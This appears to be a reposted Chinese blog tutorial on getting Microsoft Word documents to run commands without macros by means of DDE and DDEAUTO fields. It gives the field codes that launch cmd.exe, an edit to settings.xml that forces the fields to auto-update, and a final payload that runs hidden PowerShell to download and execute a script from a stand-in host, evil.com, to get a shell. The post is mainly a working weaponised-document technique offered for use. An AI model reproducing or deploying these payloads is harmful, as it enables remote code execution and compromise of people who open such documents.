首页 > 系统服务 > 详细

MSWord Code Exec Without Macro

时间:2019-11-02 15:38:18      阅读:85      评论:0      收藏:0      [点我收藏+]

今天学到了一个新的Word执行代码的方式,也是不需要启用宏的,所以分享给大家一波。操作也挺简单的。
首先新建一个word文档,然后插入域:

 

 
技术分享图片

 

选择 = (Formula)

 

 
技术分享图片

 

右键,切换域代码

 

 
技术分享图片

 

代码处修改为:

1
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

 

 

 
技术分享图片

 

之后,右键更新域,再把文档改成docx格式即可。最终效果如下:

 

 
技术分享图片

 

比较鸡肋的是点是以后才会执行。

除了使用DDEAUTO,使用DDE也是可以的,具体如下:

1
{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

 

需要注意的是,使用DDE不会自动执行,需要对文档进行修改,将文档重命名为rar,打开以后修改 word/settings.xml,添加

1
<w:updateFields w:val="true"/>

 

使用DDE效果如下:

 

 
技术分享图片

 

个人感觉使用DDE效果更好点。

如何获取交互式shell ?

1
{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://evil.com/evil.ps1‘);powershell -e $e "}
------本文结束,感谢阅读------

MSWord Code Exec Without Macro

原文:https://www.cnblogs.com/anbuxuan/p/11781500.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!